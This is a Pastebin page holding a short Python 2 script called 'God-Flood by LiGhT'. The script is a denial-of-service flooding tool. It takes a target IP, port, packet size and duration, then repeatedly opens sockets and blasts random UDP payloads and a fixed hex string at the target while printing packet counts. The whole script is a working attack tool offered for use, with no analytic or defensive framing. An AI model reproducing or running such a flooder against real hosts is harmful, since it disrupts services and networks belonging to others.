Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # God-Flood by LiGhT
- import socket, random, time, os, sys
- if len(sys.argv) < 5:
- print "God-Flood By LiGhT"
- sys.exit("Usage: python "+sys.argv[0]+" <ip> <port> <size> <time>")
- ip = sys.argv[1]
- port = int(sys.argv[2])
- size = int(sys.argv[3])
- t1m3 = int(sys.argv[4])
- timeout = time.time() + t1m3
- sent = 0
- data = 'f1a525da11f6'.decode('hex')
- while True:
- try:
- if time.time() > timeout:
- break
- else:
- pass
- udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
- syn = socket.socket()
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
- if port == "0":
- port = random.randrange(1, 65535)
- s.connect((ip, port))
- s.send(data)
- bytes = random._urandom(size)
- syn.connect((ip, port))
- udp.sendto(bytes,(ip, port))
- sent = sent + 1
- print "DuMPiNG TaRGeT: %s | PoRT: %s | SiZe: %s | TiMe: %s | PaCKeT: %s"%(ip, port, size, t1m3, sent)
- #sys.stdout.write("\x1b]2;Total Packets Sent: %s\x07" % sent)
- except KeyboardInterrupt:
- print " Stopping Flood!"
- sys.exit()
- except socket.error, msg:
- print "Socket Couldn't Connect"
- sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement